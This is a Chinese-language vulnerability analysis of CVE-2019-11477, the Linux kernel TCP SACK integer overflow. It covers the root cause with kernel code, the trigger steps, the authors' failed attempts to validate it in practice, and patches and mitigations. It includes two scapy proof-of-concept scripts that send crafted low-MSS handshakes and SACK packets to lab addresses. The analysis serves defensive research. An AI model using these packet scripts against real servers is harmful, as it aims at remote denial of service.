CVE-2019-11477：Linux 内核中TCP协议栈整数溢出漏洞详细分析

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作者：罗权、于长奇@奇安信代码卫士

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

漏洞概述

2019年6月18日，RedHat官网发布CVE编号为CVE-2019-11477的漏洞，此漏洞是一个底层协议栈的整数溢出漏洞，影响Linux 内核2.6.29及以上版本，理论上可以造成远程拒绝服务漏洞。经过奇安信代码卫士团队分析验证，在实际环境中很难触发此漏洞，所以在实际环境中此漏洞危害没那么大。

漏洞原理

该漏洞是一个位于skb_buff结构体上tcp_gso_segs成员的整数溢出漏洞。linux kernel数据包文以skb_buff结构体表示，内核为提升发包效率提供了NETIF_F_SG（默认开启）、NETIF_F_UFO等功能，当发送报文时，将会将小报文以类似分片形式累积，累积为大报文统一发送，由网卡硬件进行分片。此时报文累积最大长度为32k（x86）或者64k(powerpc)。代码中，小报文积累队列成员为skb_buff结构体的tcp_skb_cb对象，其中tcp_gso_segs成员是个short unsight int 类型成员，代表小报文个数。

\linux\net\ipv4\tcp.c

if (can_coalesce) {
      skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
    } else {
      get_page(page);
      skb_fill_page_desc(skb, i, page, offset, copy);
    }

linux/include/linux/skbuff.h

struct tcp_skb_cb {
__u32 seq; /* Starting sequence number */
__u32 end_seq; /* SEQ + FIN + SYN + datalen */
__u32 tcp_tw_isn;
struct {
u16 tcp_gso_segs;
u16 tcp_gso_size; 
};
__u8 tcp_flags; /2* TCP header flags. (tcp[13]) */
…
}

通常，TCP协议为避免分片带来的性能损失，提供了mss协商机制，通过在握手过程中提供双方mtu值，协商双方报文的最大报文长度，发送提供各自的mss长度，双方选取最小的mss值为最大报文长度，此后，双方报文的最大长度将不会超过协商得出的mss值。如果要漏洞出发，发送方在握手时将mss值强制置为8（mss协商最小值为48-最大tcp报头长度=8）。即接收方在和握手方握手时，将mss值设置为8即可。

TCP-MSS，全称TCP maximum segment size。翻译过来是TCP最大报文尺寸。它的值代表TCP传输层期望对端发送给自己单个TCP报文的最大尺寸。

TCP协议中，当TCP协议两端在初始协商进行TCP三次握手协议的时候，主机两端会把自己当前所在链路的MSS值告知对方。当一端主机收到另外一端的MSS之后，它会评估其MSS值并与自己的MSS值做对比，取最小的值来决定TCP发送的最大报文尺寸。

如何计算本地MSS值？本地MSS=MTU-20字节的标准IP头-20字节的标准TCP头（换个角度看其实就是TCP负载） 

另外一个相关的是linux的sack机制。在RFC的描述中，当TCP报文乱序到达时，TCP接收端会要求发送端连未能按照顺序发送的报文也重新发送，为改进TCP协议的发包效率，TCP提供了sack机制（自linux kernel 2.6.29以后提供了sack机制的实现），当接收方向发送方要求重传时，重传报文将会进入tcp_sendmsg函数的tcp_gso_segs机制中，以分片的形式积累报文碎片，在skb_buff结构体中最多接受17个分片队列，在恶意会话的接收过程中，接收方可以不断地要求发送方重传，即接受方不断向发送方发送sack报文，发送方接收到sack报文后，将重新发送报文。

linux/include/linux/skbuff.h

define MAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17

此时一个skb_buff结构体最多可以由17*32*1024%8=69632个报文碎片积累而成，而69632超过了tcp_gso_segs成员（无符号短整型）的最大值65535，将导致整数溢出，最终在tcp_shifted_skb函数中触发崩溃.

linux\net\ipv4\tcp_input.c

static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...)
{
...
tcp_skb_pcount_add(prev, pcount);
BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic
tcp_skb_pcount_add(skb, -pcount);
…
}

漏洞触发步骤

1、客户端连接服务端（同时三次握手过程中强制设置接受mss最大值为8）

2、客户端诱导服务端发送超长报文给客户端，贴近最大允许长度32k

3、客户端不断发送重传要求，服务端重复发送17次报文填满skb分片队列，导致tcp_gso_segs变量整数溢出，导致服务器远程拒绝服务。

漏洞验证

要成功构造poc报文，实际需要做到以下三点：

第一：诱骗服务端发送一次性发送接近32k大小TCP报文。通过服务器下载文件时（linux内核调用tcp_sendpage不走tcp_sendmsg调用可以逼近报文极限值，需要超过31k大小，实际情况是比较罕见的），发现http服务器将客户端get的数据合并，逼近32k大小数据下发到客户端，这一步是可以做到的，在TCP层，tcp_sendpage函数大概率可以做到一次下发超过31k大小的报文。

while (size > 0) {
    struct sk_buff *skb = tcp_write_queue_tail(sk);
    int copy, i;
    bool can_coalesce;

    if (!tcp_send_head(sk) || (copy = size_goal - skb->len) <= 0 ||
        !tcp_skb_can_collapse_to(skb)) {
new_segment:
      if (!sk_stream_memory_free(sk))
        goto wait_for_sndbuf;

      skb = sk_stream_alloc_skb(sk, 0, sk->sk_allocation,
              skb_queue_empty(&sk->sk_write_queue));
      if (!skb)
        goto wait_for_memory;

      skb_entail(sk, skb);
      copy = size_goal;
    }

    if (copy > size)
      copy = size;

    i = skb_shinfo(skb)->nr_frags;
    can_coalesce = skb_can_coalesce(skb, i, page, offset);
    if (!can_coalesce && i >= sysctl_max_skb_frags) {
      tcp_mark_push(tp, skb);
      goto new_segment;
    }
    if (!sk_wmem_schedule(sk, copy))
      goto wait_for_memory;

    if (can_coalesce) {
      skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
    } else {
      get_page(page);
      skb_fill_page_desc(skb, i, page, offset, copy);
    }

第二，将TCP报文的实际荷载设置8字节（mss设置为最小值48，TCP选项头设置为40字节，48-40=8）。此步实际情况是不默认，正常情况下是无法协商成功，客户端发起的mss协商，默认情况下服务端将不会认可，默认发行版linux系统都开启TSO（TCP Segment Offload）技术，为了尽可能发挥网卡性能，网卡会不断尝试扩大mss的值，当我们将mss协商成功为48时，很快TSO会将mss恢复为1460.所以实际攻击链条在此时已经被打断。

而且在我们测试将服务端发给我们的TCP数据包的TCP选项头设为40，通过要求服务端数据包附带时间戳选项，可以使TCP选项头拥有12字节选项长度，如果需要更长的选项头，需要一些特殊的TCP选项，如md5选项，但TCP的md5选项需要重新编译内核，发行版不带md5选项：

在默认情况下我们只做到了通过客户端设置服务端报文12字节长度的TCP选项头长度设置

第三，对服务端发送sack报文，指定特定报文重传。我们在对服务端进行指定字节序列的报文重传时发现，我们无法做到累加重传报文，在漏洞分析中，我们提到，我们需要使重传报文累计到超过65535导致整数溢出，但是实际测试过程中发现，TCP的重传实在过于迅速，我们的发包速度根本不够服务端的gso机制生效累计积累超过65535个报文，我的最大累计此时30余次，服务端收到sack后累积重传报文，收到ack后或其余机制释放累积。请注意下图的报文序号，第27个报文请求指定重传，第28个报文重传指定报文，29个报文立刻发送正确顺序的报文，第27个报文和第29个报文直接的时间实在过于短暂，可以通过并发分布式攻击可以做到重传报文累计超过65535次。

其它尝试：

由于此漏洞的主要瑕疵在于mss协商机制启用非默认，我们曾经尝试绕过linux kernel的mss协商机制对服务端发起进攻，尝试使用sack报文告诉服务端我们只缺少8字节长度（报文原长48字节情况下），此时服务端回复的报文并没有只给我们8个字节长度的报文，而是把所缺少的报文所属的报文（48字节长度）发回给我们，绕过尝试失败。

最终我们认定此漏洞实际危害不大。

测试代码：

我们使用的是python的scapy库进行伪造客户端与服务端进行通信

Sack部分测试代码：

from scapy.all import *
import time
i=IP()
i.dst="192.168.124.144"
t=TCP()
t.dport=8887
t.flags="S"
t.options=[('MSS',18),('SAckOK', '')]       
#sr1(i/t)
SYNACK=sr1(i/t)
seq_num=int(SYNACK.seq)      
# ACK
ACK=TCP( dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
send(i/ACK)
print seq_num
#SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)
time.sleep(1)
SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack , ack=SYNACK.seq + 1+0x30*2)
#print SACK.seq
num=3
SACK.options=[('SAck',(SYNACK.seq+1+0x30*3 ,SYNACK.seq+1+0x30*4 ))]
send(i/SACK)
#while num<=100:
#    SACK.options=[('SAck',(seq+1+0x30+0x30*num ,seq+1+0x30  +0x30*(num+1)))]
#    send(i/SACK)
#    num=num+1
#    if num==99:
#        num=3
time.sleep( 500 )

Mss部分测试代码：

from scapy.all import *
import time     
i=IP()
i.dst="192.168.216.145"
t=TCP()
t.sport=3333
t.dport=8887
t.flags="S"
t.options=[('MSS',48),('SAckOK', ''),('Timestamp',(111,222))]
#sr1(i/t)
SYNACK=sr1(i/t)
seq=int(SYNACK.seq)
# ACK
ACK=TCP(sport=3333, dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
ACK.options=[('Timestamp',(222,333))]
send(i/ACK)
print ACK.seq
#SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)
print str(SYNACK.ack)
SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq+1+0x30)
print SACK.seq
SACK.options=[('SAck',(seq+1+0x38 ,seq+1+0x38  +0x30))]
#while True:
time.sleep( 1 )
send(i/SACK)
time.sleep( 500 )

漏洞修复

（1）及时更新补丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1_4.patch

Linux内核版本>=4.14需要打第二个补丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1a.patch

（2）禁用SACK处理

echo 0 > /proc/sys/net/ipv4/tcp_sack

（3）使用过滤器来阻止攻击

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/block-low-mss/README.md

此缓解需要禁用TCP探测时有效（即在/etc/sysctl.conf文件中将net.ipv4.tcp_mtu_probingsysctl设置为0）

（4）RedHat用户可以使用以下脚本来检查系统是否存在漏洞

https://access.redhat.com/sites/default/files/cve-2019-11477--2019-06-17-1629.sh

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题图：Pixabay License

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